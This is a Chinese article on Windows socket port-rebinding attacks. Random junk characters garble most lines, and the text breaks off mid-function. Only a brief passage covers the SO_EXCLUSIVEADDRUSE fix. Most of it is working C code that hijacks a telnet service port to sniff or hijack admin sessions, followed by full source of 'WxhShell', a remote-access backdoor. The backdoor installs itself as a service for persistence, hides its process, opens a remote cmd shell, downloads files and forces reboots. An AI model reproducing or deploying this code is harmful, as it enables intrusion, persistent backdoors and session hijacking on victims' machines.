在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
TlQ5'0&I s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
mxvV~X% Z q}Cl'f saddr.sin_family = AF_INET;
7,9zj1< c%n%,R> saddr.sin_addr.s_addr = htonl(INADDR_ANY);
=)6|lz^ oB}rd9 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
8=sMmpB 7u
C%Op[H3 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
DGAg#jh !%C&hH\ 这意味着什么?意味着可以进行如下的攻击:
*UG=dl#F# P}p6{ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
O
>&,h^ WgV[,( 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
+7)/SQM5 w\.z-6G 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
<J1$s_^` !3at(+4 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
dNs<`2m KI<Vvcm 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
BtWm ZaKi j\@|oW0 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
hRN>]e,! QNm.8c$ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
\?.M1a[ Sh5SOYLz #include
laFF/g;sRC #include
] yXrD`J! #include
G Q+g.{c #include
{I_I$x_ DWORD WINAPI ClientThread(LPVOID lpParam);
<~qhy{hRn int main()
9_S>G$9D {
|a Ht6F WORD wVersionRequested;
8|#p D4e DWORD ret;
*8QGv6*vQ WSADATA wsaData;
8[z& g%u BOOL val;
,7Lu7Q SOCKADDR_IN saddr;
QVrMrm+vRv SOCKADDR_IN scaddr;
*(@[E int err;
rU1{a" { SOCKET s;
BcTV5Wcr SOCKET sc;
ma M8:\ int caddsize;
'||),>~ HANDLE mt;
Z,Tv8; DWORD tid;
#
OQ(oyT wVersionRequested = MAKEWORD( 2, 2 );
YVLaO*(f err = WSAStartup( wVersionRequested, &wsaData );
V0WFh=CM@ if ( err != 0 ) {
q^w3n2 printf("error!WSAStartup failed!\n");
NCysYmt return -1;
Ijj]_V{, }
9Ic~F^ saddr.sin_family = AF_INET;
vN4g#,< s*j0uAq)up //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
M%2F7 FY .@ElfPP(L saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
#G ZGk? saddr.sin_port = htons(23);
APksY! if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
&ExYul {
! Q5ip'L printf("error!socket failed!\n");
`#~HCl return -1;
q[SUYb;, }
G" Fd]' val = TRUE;
=#<TE~n2( //SO_REUSEADDR选项就是可以实现端口重绑定的
#zcnc$x\ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
[0e}%!%M {
VXAgp6 printf("error!setsockopt failed!\n");
zZ=.riK return -1;
:xT=uE.I }
Gv}h/zu- //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
9m
fYB //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
e$^ O_e //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Ci
? +Sl ^CwzAB if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
o5FBqt {
obE_`u l# ret=GetLastError();
93d ht printf("error!bind failed!\n");
^\<1Y'' return -1;
xe6 2gaT }
n300kpv listen(s,2);
nNFZ77lg while(1)
tXTa>Q {
)LwB caddsize = sizeof(scaddr);
Mc6?]wDB] //接受连接请求
a{6rQ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
d(L u|/~ if(sc!=INVALID_SOCKET)
z<jWy$Ta; {
vF=d`T< mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
NY
ZPh%x if(mt==NULL)
89'XOXl&1 {
)S|}de/a2 printf("Thread Creat Failed!\n");
eID"&SSU break;
HBL)_c{/O }
p'
FYK| }
Bk1Q.Un CloseHandle(mt);
.Go 3'$'v }
9)QvJ87e@7 closesocket(s);
V<@]Iv WSACleanup();
|:tFQ.Z'2 return 0;
h2Z Gh }
08S|$_ DWORD WINAPI ClientThread(LPVOID lpParam)
f[!QR {
@&]j[if(s SOCKET ss = (SOCKET)lpParam;
C/+8lA6NV SOCKET sc;
?K/z`E!xhN unsigned char buf[4096];
xxm1Nog6 SOCKADDR_IN saddr;
fO.gfHI long num;
s]r"-^eS3 DWORD val;
?'h<yxu]u0 DWORD ret;
qf9.S)H1Z //如果是隐藏端口应用的话,可以在此处加一些判断
#]|9aVrr //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
ge[+/$(1 saddr.sin_family = AF_INET;
S3Tww]q saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
AtA}OY]D/ saddr.sin_port = htons(23);
lV^sVN Z] if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
xgt dmv% {
8_ns^6XK5p printf("error!socket failed!\n");
52>?l C return -1;
kG+CT }
%9=^#e+pE val = 100;
b#.hw2?a` if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
vGC^1AM {
#uT-_L}sw ret = GetLastError();
$_l@k= return -1;
0bpl3Fh.v }
L;'+O
u if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ZSMOq4Y 9 {
%u43Pj ret = GetLastError();
>"S'R9t return -1;
`{/z\ }
fdN-Zq@' if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
N@^?J@#V {
])a?ri printf("error!socket connect failed!\n");
]RQQg,|D closesocket(sc);
A[ ZJS closesocket(ss);
_#e='~; return -1;
bI=\n)sEz }
z1F[okLA while(1)
S~}?6/G. {
z$`=7 afp //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
s&M6DFlA //如果是嗅探内容的话,可以再此处进行内容分析和记录
Q/=L(_1l //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
pP)0 l num = recv(ss,buf,4096,0);
/H,!7!6>? if(num>0)
j+J)S1 send(sc,buf,num,0);
a)[XJLCQ else if(num==0)
NQ{ XIN~ break;
`96:Z-!} num = recv(sc,buf,4096,0);
t4UKG&[a if(num>0)
iR(A^ send(ss,buf,num,0);
{`~{%2ayq7 else if(num==0)
NJ7N* break;
^gh/$my; }
2[Q*?N closesocket(ss);
wI}5[m closesocket(sc);
E'&UWDh return 0 ;
7##nY3",^ }
3U@p oWo"`"P xue-5 ' ==========================================================
lb&tAl"D ?U2ed)zzw 下边附上一个代码,,WXhSHELL
}jfU qqFd MlsF?"H p ==========================================================
9 YU7R) 7
4aap2^ #include "stdafx.h"
$[[6N0}*: FymA_Eq #include <stdio.h>
OgS6#X #include <string.h>
qw0tw2| #include <windows.h>
z(>{"t<C #include <winsock2.h>
#v')iR"
#include <winsvc.h>
X
c,UR. #include <urlmon.h>
^Q4w<sX' ||}|=Sz #pragma comment (lib, "Ws2_32.lib")
<Ky\ ^ #pragma comment (lib, "urlmon.lib")
@C7S^|eo o~gduNG# #define MAX_USER 100 // 最大客户端连接数
rr*",a"}m #define BUF_SOCK 200 // sock buffer
@| %t<{y^I #define KEY_BUFF 255 // 输入 buffer
naXo <B DhY9)>4M #define REBOOT 0 // 重启
iX.=8~3 #define SHUTDOWN 1 // 关机
Rmn| "ZK X!CLOHVAa #define DEF_PORT 5000 // 监听端口
>;HbDp \h :Rw| #define REG_LEN 16 // 注册表键长度
Zo;@StN3}T #define SVC_LEN 80 // NT服务名长度
=1^Ru*G ~DPg):cZ // 从dll定义API
{j,bV6X typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
2ADUJ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
%zd1\We typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
/!JpmI typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Z,,Da|edH o]MQ)\r // wxhshell配置信息
}%y_LcL struct WSCFG {
xh@H@Q\ int ws_port; // 监听端口
t_3)} char ws_passstr[REG_LEN]; // 口令
zScV 9,H1 int ws_autoins; // 安装标记, 1=yes 0=no
@+Berb char ws_regname[REG_LEN]; // 注册表键名
Otn,(j;u char ws_svcname[REG_LEN]; // 服务名
k^]+I%?Q char ws_svcdisp[SVC_LEN]; // 服务显示名
T6Ue\Sp' char ws_svcdesc[SVC_LEN]; // 服务描述信息
_xAdvr' W char ws_passmsg[SVC_LEN]; // 密码输入提示信息
mv SNKS int ws_downexe; // 下载执行标记, 1=yes 0=no
KHcfP7 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
^P:9iu)+]~ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
|vTirZP .-`7Av+7 };
K,|Gtaa~ s3_i5,y // default Wxhshell configuration
2[9hl@=% struct WSCFG wscfg={DEF_PORT,
Trbgg "xuhuanlingzhe",
=d7 lrx+z 1,
11X-X "Wxhshell",
y$*Tbzp "Wxhshell",
&>@nW!n
u "WxhShell Service",
?_m;~>C "Wrsky Windows CmdShell Service",
}N2T/U "Please Input Your Password: ",
)`-9WCd& 1,
A7+eWg{ "
http://www.wrsky.com/wxhshell.exe",
*u
3K8"XZ "Wxhshell.exe"
6peO9]Zy };
#rzxFMA" R7x4v // 消息定义模块
`8xe2=Ub char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
6rt.ec( char *msg_ws_prompt="\n\r? for help\n\r#>";
eAu3,qoM char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
rNfua
char *msg_ws_ext="\n\rExit.";
0}PW?t76 char *msg_ws_end="\n\rQuit.";
K^A\S char *msg_ws_boot="\n\rReboot...";
',kYZay char *msg_ws_poff="\n\rShutdown...";
Xn$]DE/r}N char *msg_ws_down="\n\rSave to ";
4eBM/i 9j:?s;B char *msg_ws_err="\n\rErr!";
He)v:AH char *msg_ws_ok="\n\rOK!";
bX|Z||img L;fhJ~r char ExeFile[MAX_PATH];
O#Xq0o int nUser = 0;
q^([ & + HANDLE handles[MAX_USER];
K}`.?6O int OsIsNt;
kIrME: qK.8^{b SERVICE_STATUS serviceStatus;
jf*M}Q1jHE SERVICE_STATUS_HANDLE hServiceStatusHandle;
zg)Z2?K|;u G5"UhnOD' // 函数声明
e]uk}#4 int Install(void);
w;}P<K int Uninstall(void);
ztgSd8GGE int DownloadFile(char *sURL, SOCKET wsh);
yFl@z int Boot(int flag);
/]F3t]FlC void HideProc(void);
3UslVj1u int GetOsVer(void);
'2uQ int Wxhshell(SOCKET wsl);
6}n_r}kNR void TalkWithClient(void *cs);
i)+@'!6 int CmdShell(SOCKET sock);
]*%0CDY6`N int StartFromService(void);
wcsUb9( int StartWxhshell(LPSTR lpCmdLine);
#
T$^{/J Ls5|4%+& VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
3PpycJ} VOID WINAPI NTServiceHandler( DWORD fdwControl );
%:N5k+} L:XnW1(Or // 数据结构和表定义
yGZb SERVICE_TABLE_ENTRY DispatchTable[] =
$khWu>b {
z1T.\mzfX {wscfg.ws_svcname, NTServiceMain},
eMPi ho {NULL, NULL}
!RFlv };
h.sH:]Z Cb x/ // 自我安装
lyF~E int Install(void)
dF5EIPl;J {
xs.>+(@|; char svExeFile[MAX_PATH];
O<Ht-TN& HKEY key;
[Sg1\UTl strcpy(svExeFile,ExeFile);
i0v;mc X4Q?]{ // 如果是win9x系统,修改注册表设为自启动
] 8+! if(!OsIsNt) {
2?z3s|+[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
L'H'E, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
52C>f6w RegCloseKey(key);
`rbTB3? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
7xO
=:* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
P"XF|*^U RegCloseKey(key);
i"0^Gr return 0;
% E3 }
(Z,v)TOXjV }
PUuxKW} }
}NMA($@A else {
*_!nil 3(i pTprU)sa7 // 如果是NT以上系统,安装为系统服务
[_G_Wl'#8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
aiF7\^aw$ if (schSCManager!=0)
-ce N}Cb3 {
r0+lH:G*q SC_HANDLE schService = CreateService
g`d5OHvOo (
7!]$XGz[ schSCManager,
0x4Xs wscfg.ws_svcname,
K``MS wscfg.ws_svcdisp,
)U`6` &F SERVICE_ALL_ACCESS,
\5_+6 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
3 i Id> SERVICE_AUTO_START,
(]w_}E]N SERVICE_ERROR_NORMAL,
Dwj!B;AZ_ svExeFile,
"4<RMYQ NULL,
Qo4]_,kR NULL,
kl?U2A.= NULL,
re2M!m6k5 NULL,
f<=<:+ NULL
S*Qip,u );
%\6|fKB4< if (schService!=0)
:"5i/Cx {
n!2"pRIi CloseServiceHandle(schService);
3%bCv_6B CloseServiceHandle(schSCManager);
)^qM%k8 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
yAy~|1} strcat(svExeFile,wscfg.ws_svcname);
xdFm-_\- if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
-y5^xR RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Ur6UE2 RegCloseKey(key);
8`v+yHjG return 0;
zflq|d W }
TD'Rv Tpl }
ai)S:2 CloseServiceHandle(schSCManager);
Ew5(U`] }
j1Fy'os"! }
uUB,OmLN umaF}}-Q{ return 1;
Dq/_^a/1 }
'-oS=OrZ :.e`w#$7 // 自我卸载
N7Kq$G2O int Uninstall(void)
9]< p {
Se.\wkl#Y HKEY key;
#k&"Rv;, {_&'tXL if(!OsIsNt) {
i ?&t@"' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
)r3}9J RegDeleteValue(key,wscfg.ws_regname);
:hJHjh RegCloseKey(key);
n+QUT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
/{>$E>N; RegDeleteValue(key,wscfg.ws_regname);
cKJf0S:cx- RegCloseKey(key);
Ls< ";QJc return 0;
@<=x fs }
Uy2NZ%rnt }
4wjy)VD_ }
)h6hN"#V5 else {
g HdNqOy
c Px{Cvc SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
e/Wrm^]y if (schSCManager!=0)
?oana% {
Veo*-sl SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
B>Tfyo if (schService!=0)
UF0W%Z {
sU! h^N$ if(DeleteService(schService)!=0) {
7#d>a=$h CloseServiceHandle(schService);
Cuu yG8 CloseServiceHandle(schSCManager);
d` %8qLIW return 0;
1/X@~ }
r<VZEbm) CloseServiceHandle(schService);
Oxo?\
:T }
fFDI qX CloseServiceHandle(schSCManager);
C))5,aX }
`B6*wE-| }
7ss Y*1b ,I6jfXI4 return 1;
M8dv
y!D }
<Hd8Jd4f vUm#^/#I // 从指定url下载文件
)[fjZG[ int DownloadFile(char *sURL, SOCKET wsh)
'NJGez'b, {
j5Kw0Wy7 HRESULT hr;
ZByxC*Cz char seps[]= "/";
!"1}zeve char *token;
B7PkCS&X char *file;
\|e>(h!l; char myURL[MAX_PATH];
`_%UK=m
char myFILE[MAX_PATH];
_gU:!:} t/55tL strcpy(myURL,sURL);
!%MI9Ok token=strtok(myURL,seps);
V`P8oIOh] while(token!=NULL)
]Z\Z_t {
f@S n1c,Mk file=token;
wcr3ugvT token=strtok(NULL,seps);
s%M# }
W*J_PL9j PLD&/SgP* GetCurrentDirectory(MAX_PATH,myFILE);
kw)("SQ strcat(myFILE, "\\");
krqz;q-p~ strcat(myFILE, file);
S!+c1q:
]. send(wsh,myFILE,strlen(myFILE),0);
r-^FM~Jp send(wsh,"...",3,0);
?,s]5 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
`HVS}}{a if(hr==S_OK)
J]&^A$ return 0;
gu?e%]X3 else
y8*MNw return 1;
jfmHc(fX4 C,;T/9 }
+kA>^ I=aoP}_ // 系统电源模块
6/-] int Boot(int flag)
*vy^=Yea
{
Ov$>CA HANDLE hToken;
|Gp!#D0b TOKEN_PRIVILEGES tkp;
F/pq9 /ILj}g' if(OsIsNt) {
OlU')0Y OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
->Z9j(JU LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
1Vf?Rw tkp.PrivilegeCount = 1;
v
C23 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
o<h2]TN AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
F}1h if(flag==REBOOT) {
7bV(eV if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
k1lo{jw` return 0;
5Zf^co u }
B":9C'tip else {
26M:D&| ZB if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
sNaLz return 0;
TxJoN]Z. }
m^k$Z0 }
V}3'0 else {
tIK`/)w, if(flag==REBOOT) {
_+!@c6k)ra if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
@}, |i*H/ return 0;
R*[X. H }
H1GmC`\<[: else {
[T
|P|\M if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
N5PW] return 0;
-L-#-dK' }
2[Ofa(mkkp }
sKy3('5; 3Pu8IXW return 1;
` ~w|Xz }
=Bg $OX #B!|sXC // win9x进程隐藏模块
jJY{np void HideProc(void)
w"`Zf7a{/ {
Z8Iqgz7|y }_/]f!] HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
xzi_u.iOP if ( hKernel != NULL )
N#``(a {
V`
T l$EF pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
`
0$i^,} ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
8Y]% S9. FreeLibrary(hKernel);
vAh'6Ob7r }
-Oi8]Xw^@y c"O4=[N: ; return;
a(J@]X>' }
^h$^j [vGkr" = // 获取操作系统版本
F9}
zt 9 int GetOsVer(void)
lw]uH<v {
h;+{0a OSVERSIONINFO winfo;
iQJa6QF&: winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
U{\9mt7b! GetVersionEx(&winfo);
)/t&a$[ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
(*M*muk return 1;
l
k
sNy else
lfAiW;giJ return 0;
TU6(Q,Yi| }
mtg=v@~ S$O5jX 0 // 客户端句柄模块
L6?~<#-m\M int Wxhshell(SOCKET wsl)
7|HIl= {
YQ$LU\: SOCKET wsh;
m#$$xG struct sockaddr_in client;
?8w5tfN6t DWORD myID;
`h|Y0x >\!G43Q= while(nUser<MAX_USER)
/Rf,Rjs {
(@ 1>G
^% int nSize=sizeof(client);
CnpQdI wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
fsl
ZJE if(wsh==INVALID_SOCKET) return 1;
~.tl7wKkR/ \.aKxj5 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
4tEAi4H|`@ if(handles[nUser]==0)
csd9[=HW/Q closesocket(wsh);
eZoAy[ else
fikDpR nUser++;
85f:!p }
LOgFi%!6: WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
d5>EvK U t~H0Qeb[v= return 0;
'3w%K+eJY }
YV8PybThc #bJp)&LO // 关闭 socket
.=)[S5.BVq void CloseIt(SOCKET wsh)
abAw#XQ8 {
eslvg#Q closesocket(wsh);
W
]$/qyc&J nUser--;
4ClSl#X#i ExitThread(0);
C2aA])7D }
**\?-*c=U p+pu_T;~ // 客户端请求句柄
&mW7FR'( void TalkWithClient(void *cs)
cyLl,OA {
=van<l4b#n y"Pd>61h SOCKET wsh=(SOCKET)cs;
K5rra%a-7 char pwd[SVC_LEN];
P5H_iH char cmd[KEY_BUFF];
]h#QA; char chr[1];
m^\&v0 int i,j;
<-mhz`^ NBXhcfF while (nUser < MAX_USER) {
it-]-=mqb F [Lg,} if(wscfg.ws_passstr) {
1 0zw}1x if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
C;5`G
*e //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
-%0pYB //ZeroMemory(pwd,KEY_BUFF);
gAh#H ?MM i=0;
jJaMkF;f while(i<SVC_LEN) {
bsm/y+R P:_bF>r ? // 设置超时
0K6My4d{ fd_set FdRead;
rq^%)tR struct timeval TimeOut;
=k*XGbU FD_ZERO(&FdRead);
mr2Mu FD_SET(wsh,&FdRead);
[K@(,/$ TimeOut.tv_sec=8;
c|d,:u# TimeOut.tv_usec=0;
'7pzw>E=: int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
RH:vd|q+ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
<@# g2b Y]=k"]:% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
"hQGk pwd
=chr[0]; &qK:LHhj
if(chr[0]==0xd || chr[0]==0xa) { :
h(Z\D_
pwd=0; n!.=05OtX
break; DSRmFxkk
} f`KO#Wc
i++; (/0dtJ
} W"*2,R[}%
H2oxD$s
// 如果是非法用户,关闭 socket !-N!Bt8;
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qe'ssX;
} b\KbF/T
FrUqfTi+W
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /\_n5XI1
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kxN
O9w
Ozhn`9L+1!
while(1) { 6"
<(M@
xmEom
ZeroMemory(cmd,KEY_BUFF); Y+o\?|q-E
$Mj\ 3
// 自动支持客户端 telnet标准 UM#.`
j=0; {NQCe0S+p
while(j<KEY_BUFF) { .P`QCH;Ih
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $}r.fji,c
cmd[j]=chr[0]; Zxd*%v;
if(chr[0]==0xa || chr[0]==0xd) {
,v
2^Ui
cmd[j]=0; %.D!J",\/K
break; /D1Lh_,2
} $_,-ESI
j++; O_ZYm{T[7
} :8j7}'
p!8phS#iP
// 下载文件 Xtfs)"
if(strstr(cmd,"http://")) { +Z2XP76(4A
send(wsh,msg_ws_down,strlen(msg_ws_down),0); x;sc?5_`
if(DownloadFile(cmd,wsh)) u#rbc"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); a|=^
else }vh4ix
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q*4U2_^.
} \{]y(GT
else { (5E09K$
>d=pl}-kOQ
switch(cmd[0]) { Ue60Mf
;2\6U;
// 帮助 W8$0y2
case '?': { "/RMIS
K[;
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JBLUX,
break; <&3aP}
} ez ! W0
// 安装 Zhv%mUj~
case 'i': { -|^)8
if(Install()) GA$fueiQNs
send(wsh,msg_ws_err,strlen(msg_ws_err),0); a;^lOU|L{
else i\l}M]Z#
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <G|i5/|7
break; i9De+3VqKK
} ~@Q]@8Tv\
// 卸载 |dbKK\ X9
case 'r': { tK .1
*
if(Uninstall()) 8Z_ 4%vUBg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /gl8w-6
else 0^dYu/i5
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |6b~c{bt
break; }% q-9
} enZZ+|h
// 显示 wxhshell 所在路径 >$9}"
case 'p': { b}ya9tCl;
char svExeFile[MAX_PATH]; >p@b$po
strcpy(svExeFile,"\n\r"); ?>7-a~*A@
strcat(svExeFile,ExeFile); a*LfT<hmU3
send(wsh,svExeFile,strlen(svExeFile),0); 9(q(;|;Hp
break; #T2J +
} 1%*\*z
// 重启 7(X
z%v
case 'b': { 8
/t';
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '7PaJj=Nx
if(Boot(REBOOT)) G" E_4YkJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >;hAw!|#
else { i>,AnkI&
closesocket(wsh);
U-4F
ExitThread(0); ~Ck OiWC0
} :>;F4gGVG
break; r~h#
} LtX53c
// 关机 R'zi#FeP
case 'd': { .?Y"o3
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <=&$+3r
if(Boot(SHUTDOWN)) Q8AAu&te7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +x}9a~QG#
else { ~=iH*AQR
closesocket(wsh); K)mQcB-"?
ExitThread(0); h*C!b?:"
} D?"P\b[/
break; 7+hF1eoI
} \>Rfa+
// 获取shell ;*<R~HJt
case 's': { uOeal^uS
CmdShell(wsh); p> >H$t
closesocket(wsh); tkcs6uy
ExitThread(0); <>9!oOa
break; [bP^RY:
} eBnx$
// 退出 tx>7?e8E
case 'x': { E5)0YYjHZ
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9l&q}
CloseIt(wsh); gee~>l
break; m<-!~ ew
} 4jC)"tch
// 离开 )]FXUz|;
case 'q': { &`v?oN9$
send(wsh,msg_ws_end,strlen(msg_ws_end),0); UAhWJ$(C
closesocket(wsh); kl.; E{PL
WSACleanup(); F[Mwd &P@
exit(1); fxPg"R!1i
break; gAdqZJR%]
} :M6v<Kg{;
} yT_W\"=8
} j\~,Gtn>Z
=FhP$r*
// 提示信息 \8QOZjy
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?l?l<`sTO
} =3-?$
} 5kTs7zJ^
Y06^M?}
return; {@)ZXg
} 4 O8ct,Y
hFv{?v
// shell模块句柄 oH%[8!#
int CmdShell(SOCKET sock) I{g.V|+x
{ ApeqbD5g&
STARTUPINFO si; IUv#nB3
ZeroMemory(&si,sizeof(si)); SK'h!Ye5Z
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "d$~}=a[
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;un@E:
PROCESS_INFORMATION ProcessInfo; z80P5^9
char cmdline[]="cmd"; bc'IoD/
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =b:XL#VA
return 0; EwN{| 34C
} ^_Hf}8H7]
G5/A{1sz&
// 自身启动模式 2@6@|jRG
int StartFromService(void) <z,)4z++
{ ==m[t-
9x
typedef struct HbA/~7
{ FefroaJ:u
DWORD ExitStatus; n>q!m@ }<
DWORD PebBaseAddress; %T]^,y$n
DWORD AffinityMask; "UMaZgI
DWORD BasePriority; [A84R04_%
ULONG UniqueProcessId; n>y,{"J{
